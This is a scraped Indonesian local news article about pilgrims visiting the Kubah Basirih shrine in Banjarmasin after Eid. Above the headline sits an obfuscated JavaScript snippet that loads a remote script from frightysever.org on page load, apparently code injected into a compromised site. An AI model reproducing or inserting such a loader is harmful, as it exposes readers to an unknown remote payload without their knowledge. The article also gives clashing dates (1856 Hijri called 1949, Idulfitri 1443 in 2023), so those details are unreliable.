(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Pasca Lebaran Peziarah Padati Kubah Basirih, dari Hulu Sungai hingga Samarinda

KANALKALIMANTAN.COM, BANJARMASIN – Memasuki H+3 lebaran Idulfitri 1443 hijriyah, kawasan wisata religi Kubah Basirih Banjarmasin ramai didatangi peziarah.

Kubah yang terletak di Jalan Keramat Basirih, Kecamatan Banjarmasin Barat pinggir aliran Sungai Martapura iniÂ pada Selasa (25/4/2023) siang, terlihat penuh oleh peziarah laki-laki maupun perempuan.

“Memang ada peningkatan pengunjung kubah sekitar 50 persen setelah lebaran Idulfitri ini,” kata Ahmad Taufik, salah seorang penjaga parkir Kubah Basirih.

Taufik mengatakan peziarah berasal dari berbagai daerah seperti masyarakat dalam Kota Banjarmasin, wilayah Hulu Sungai, dan wilayah pesisir seperti Kotabaru, Pelaihari, maupun Barito Kuala.

Bahkan menurutnya di moment lebaran Idulfitri ini peziarah juga ada yang berasal dari provinsi tetangga yaitu Kalimantan Tengah dan Kalimantan Timur.

“Banyak jugaÂ rombongan mobil plat KH (Kalimantan Tengah) dan KT (Kalimantan Timur)” ucap juru parkir Kubah Basirih ini.

Nama Habib Hamid bin Abbas atau dikenal Habib Basirih diketahui merupakan ulama kelahiran Banjar yang cukup masyhur di telinga masyarakat Kalsel maupun luar wilayah.

Beliau wafat pada tanggal 15 Jumadil Awwal 1856 Hijriyah tepat tahun 1949 masehi dan dimakamkan di pesisir Sungai Martapura Â atau Kampung Basirih

Beberapa meter dari makam juga terdapat sebuah sumur yang dulunya menjadi tempat Habib Basirih berwudhu dan dipercaya masyarakat airnya memiliki banyak khasiat. Sehingga peziarah banyak yang membasuh muka, berwudhu, bahkan membawa pulang air dari sumur tersebut.

Hampir setiap hari, kubah keramat yang letaknya tidak jauh dari ruas jalan menuju Pelabuhan Trisakti ini selalu ramai dikunjungi peziarah. Apalagi saat libur lebaran, masyarakat dari berbagai daerah berdatangan untuk berziarah.

Seperti Eru, salah satu peziarah yang datang berombongan dari Samarinda, Kalimantan Timur, datang ke makam keramat di Banjarmasin ini.

“Kita ke sini berombongan sekitar 15 orang dari Samarinda,” katanya, Selasa (25/4/2023) siang .

Dikatakannya, di Banjarmasin dia sebelumnya juga berkunjung ke rumah keluarga dan kemudian melanjutkan ziarah ke makam keramat Kubah Basirih.

Setelahnya, ia bersama keluarga dan rombongan rencana akan melanjutkan berwisata di sekitar kota Banjarmasin sepertiÂ wisata susur sungai.

“Kalau saya lihat Banjarmasin ini kota besar, sungai-sungainya juga bagus untuk disusuri,” pungkas pria asal Samarinda ini.

Selain ke Kubah Basirih, beberapa pengunjung juga terlihat berziarah ke makam Syarifah Sya’anah, ibu dari Habib Hamid Bahasyim (Habib Basirih) yang berjarak hanya sekitar 100 meter dari kubur Habib Basirih.

Serta beberapa juga berziarah ke makam Habib Abu Bakar bin Salim Al Habsyi yang berjarak sekitar 25 meter dan masih dalam kawasan Kubah Keramat Basirih. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie